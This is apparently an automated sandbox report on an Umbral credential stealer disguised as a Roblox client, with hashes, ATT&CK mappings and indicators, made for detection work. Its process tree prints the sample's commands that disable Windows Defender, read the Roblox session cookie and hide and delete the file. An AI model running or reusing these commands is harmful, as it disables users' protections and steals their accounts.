umbral | 43ac88fdf90508b4cae3f2607e028babe769e5b75549f8c68eac8c0610ec7d7e

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
12-05-2024 08:43

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General

Target

RobloxsClient.exe
Size

229KB
MD5

663e1b4816d16fad7d5790d8fc165642
SHA1

e4f07dce25baeaf159ea532bec52182fb3c98476
SHA256

43ac88fdf90508b4cae3f2607e028babe769e5b75549f8c68eac8c0610ec7d7e
SHA512

5a29f10a7b9398e44d07007582d4bee8bd281d4d0db0503a96bae52b3ea5a0ec05044eb531040a5ba6ab296a6bafd09898324e6711f6818371d37eb25f16b530
SSDEEP

6144:FloZM+rIkd8g+EtXHkv/iD4K2hFecjfUt1gevPeHOb8e1m+Ni:HoZtL+EP8K2hFecjfUt1gevPeSfE

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/2000-1-0x000001091BD90000-0x000001091BDD0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
940	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	RobloxsClient.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
23	discord.com
24	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3432	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3456	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2000	RobloxsClient.exe
940	powershell.exe
940	powershell.exe
5084	powershell.exe
5084	powershell.exe
1300	powershell.exe
1300	powershell.exe
764	powershell.exe
764	powershell.exe
2424	powershell.exe
2424	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2000	RobloxsClient.exe
Token: SeIncreaseQuotaPrivilege	4976	wmic.exe
Token: SeSecurityPrivilege	4976	wmic.exe
Token: SeTakeOwnershipPrivilege	4976	wmic.exe
Token: SeLoadDriverPrivilege	4976	wmic.exe
Token: SeSystemProfilePrivilege	4976	wmic.exe
Token: SeSystemtimePrivilege	4976	wmic.exe
Token: SeProfSingleProcessPrivilege	4976	wmic.exe
Token: SeIncBasePriorityPrivilege	4976	wmic.exe
Token: SeCreatePagefilePrivilege	4976	wmic.exe
Token: SeBackupPrivilege	4976	wmic.exe
Token: SeRestorePrivilege	4976	wmic.exe
Token: SeShutdownPrivilege	4976	wmic.exe
Token: SeDebugPrivilege	4976	wmic.exe
Token: SeSystemEnvironmentPrivilege	4976	wmic.exe
Token: SeRemoteShutdownPrivilege	4976	wmic.exe
Token: SeUndockPrivilege	4976	wmic.exe
Token: SeManageVolumePrivilege	4976	wmic.exe
Token: 33	4976	wmic.exe
Token: 34	4976	wmic.exe
Token: 35	4976	wmic.exe
Token: 36	4976	wmic.exe
Token: SeIncreaseQuotaPrivilege	4976	wmic.exe
Token: SeSecurityPrivilege	4976	wmic.exe
Token: SeTakeOwnershipPrivilege	4976	wmic.exe
Token: SeLoadDriverPrivilege	4976	wmic.exe
Token: SeSystemProfilePrivilege	4976	wmic.exe
Token: SeSystemtimePrivilege	4976	wmic.exe
Token: SeProfSingleProcessPrivilege	4976	wmic.exe
Token: SeIncBasePriorityPrivilege	4976	wmic.exe
Token: SeCreatePagefilePrivilege	4976	wmic.exe
Token: SeBackupPrivilege	4976	wmic.exe
Token: SeRestorePrivilege	4976	wmic.exe
Token: SeShutdownPrivilege	4976	wmic.exe
Token: SeDebugPrivilege	4976	wmic.exe
Token: SeSystemEnvironmentPrivilege	4976	wmic.exe
Token: SeRemoteShutdownPrivilege	4976	wmic.exe
Token: SeUndockPrivilege	4976	wmic.exe
Token: SeManageVolumePrivilege	4976	wmic.exe
Token: 33	4976	wmic.exe
Token: 34	4976	wmic.exe
Token: 35	4976	wmic.exe
Token: 36	4976	wmic.exe
Token: SeDebugPrivilege	940	powershell.exe
Token: SeDebugPrivilege	5084	powershell.exe
Token: SeDebugPrivilege	1300	powershell.exe
Token: SeDebugPrivilege	764	powershell.exe
Token: SeIncreaseQuotaPrivilege	1212	wmic.exe
Token: SeSecurityPrivilege	1212	wmic.exe
Token: SeTakeOwnershipPrivilege	1212	wmic.exe
Token: SeLoadDriverPrivilege	1212	wmic.exe
Token: SeSystemProfilePrivilege	1212	wmic.exe
Token: SeSystemtimePrivilege	1212	wmic.exe
Token: SeProfSingleProcessPrivilege	1212	wmic.exe
Token: SeIncBasePriorityPrivilege	1212	wmic.exe
Token: SeCreatePagefilePrivilege	1212	wmic.exe
Token: SeBackupPrivilege	1212	wmic.exe
Token: SeRestorePrivilege	1212	wmic.exe
Token: SeShutdownPrivilege	1212	wmic.exe
Token: SeDebugPrivilege	1212	wmic.exe
Token: SeSystemEnvironmentPrivilege	1212	wmic.exe
Token: SeRemoteShutdownPrivilege	1212	wmic.exe
Token: SeUndockPrivilege	1212	wmic.exe
Token: SeManageVolumePrivilege	1212	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2000 wrote to memory of 4976	2000	RobloxsClient.exe	83
PID 2000 wrote to memory of 4976	2000	RobloxsClient.exe	83
PID 2000 wrote to memory of 1916	2000	RobloxsClient.exe	88
PID 2000 wrote to memory of 1916	2000	RobloxsClient.exe	88
PID 2000 wrote to memory of 940	2000	RobloxsClient.exe	90
PID 2000 wrote to memory of 940	2000	RobloxsClient.exe	90
PID 2000 wrote to memory of 5084	2000	RobloxsClient.exe	93
PID 2000 wrote to memory of 5084	2000	RobloxsClient.exe	93
PID 2000 wrote to memory of 1300	2000	RobloxsClient.exe	95
PID 2000 wrote to memory of 1300	2000	RobloxsClient.exe	95
PID 2000 wrote to memory of 764	2000	RobloxsClient.exe	97
PID 2000 wrote to memory of 764	2000	RobloxsClient.exe	97
PID 2000 wrote to memory of 1212	2000	RobloxsClient.exe	99
PID 2000 wrote to memory of 1212	2000	RobloxsClient.exe	99
PID 2000 wrote to memory of 3532	2000	RobloxsClient.exe	101
PID 2000 wrote to memory of 3532	2000	RobloxsClient.exe	101
PID 2000 wrote to memory of 1404	2000	RobloxsClient.exe	105
PID 2000 wrote to memory of 1404	2000	RobloxsClient.exe	105
PID 2000 wrote to memory of 2424	2000	RobloxsClient.exe	107
PID 2000 wrote to memory of 2424	2000	RobloxsClient.exe	107
PID 2000 wrote to memory of 3432	2000	RobloxsClient.exe	109
PID 2000 wrote to memory of 3432	2000	RobloxsClient.exe	109
PID 2000 wrote to memory of 2144	2000	RobloxsClient.exe	112
PID 2000 wrote to memory of 2144	2000	RobloxsClient.exe	112
PID 2144 wrote to memory of 3456	2144	cmd.exe	114
PID 2144 wrote to memory of 3456	2144	cmd.exe	114

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1916	attrib.exe

C:\Users\Admin\AppData\Local\Temp\RobloxsClient.exe
"C:\Users\Admin\AppData\Local\Temp\RobloxsClient.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2000
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4976
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RobloxsClient.exe"
  2⤵
  - Views/modifies file attributes
  PID:1916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RobloxsClient.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:764
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1212
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3532
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2424
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3432
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RobloxsClient.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:3456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c9b6705519e1eef08f86c4ba5f4286f3

SHA1
6c6b179e452ecee2673a1d4fe128f1c06f70577f

SHA256
0f9cad44a79126871580e19b01dc3f880c5173b1faaf8b9018d5d1f829714705

SHA512
6d8f85a7a8b0b124530f36a157cd0441b5c1eacdc35e274af9fbf0569d03d1d5e468651a5b2425f0215c282ecfa7b1ffeaeeaf18612822f00bd14306d30640c7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
23272afe282560b0a5abad03e415e79b

SHA1
d24997643237343f0db0d9ab70e445450c70c795

SHA256
b3e29a57ee8c2da3dd7df14e6fd34632246e41950f3efd9ce9d35f1797ece1c9

SHA512
bc013bbd6083ef858570cdcdc89f761177f298cc394a0acfc553b2decc61e056459a539037ed67af13c2c4851e20d8df92a1c23d3d0b818a2e585506f28053c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_si1qfi22.22t.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/940-12-0x000002A1C2E30000-0x000002A1C2E52000-memory.dmp

Filesize
136KB

Download
memory/940-13-0x00007FFBF4690000-0x00007FFBF5151000-memory.dmp

Filesize
10.8MB

Download
memory/940-14-0x00007FFBF4690000-0x00007FFBF5151000-memory.dmp

Filesize
10.8MB

Download
memory/940-15-0x00007FFBF4690000-0x00007FFBF5151000-memory.dmp

Filesize
10.8MB

Download
memory/940-18-0x00007FFBF4690000-0x00007FFBF5151000-memory.dmp

Filesize
10.8MB

Download
memory/2000-34-0x0000010936270000-0x00000109362C0000-memory.dmp

Filesize
320KB

Download
memory/2000-33-0x0000010936540000-0x00000109365B6000-memory.dmp

Filesize
472KB

Download
memory/2000-35-0x000001091C3F0000-0x000001091C40E000-memory.dmp

Filesize
120KB

Download
memory/2000-0-0x00007FFBF4693000-0x00007FFBF4695000-memory.dmp

Filesize
8KB

Download
memory/2000-1-0x000001091BD90000-0x000001091BDD0000-memory.dmp

Filesize
256KB

Download
memory/2000-71-0x000001091DB60000-0x000001091DB6A000-memory.dmp

Filesize
40KB

Download
memory/2000-72-0x00000109362C0000-0x00000109362D2000-memory.dmp

Filesize
72KB

Download
memory/2000-2-0x00007FFBF4690000-0x00007FFBF5151000-memory.dmp

Filesize
10.8MB

Download
memory/2000-90-0x00007FFBF4690000-0x00007FFBF5151000-memory.dmp

Filesize
10.8MB

Download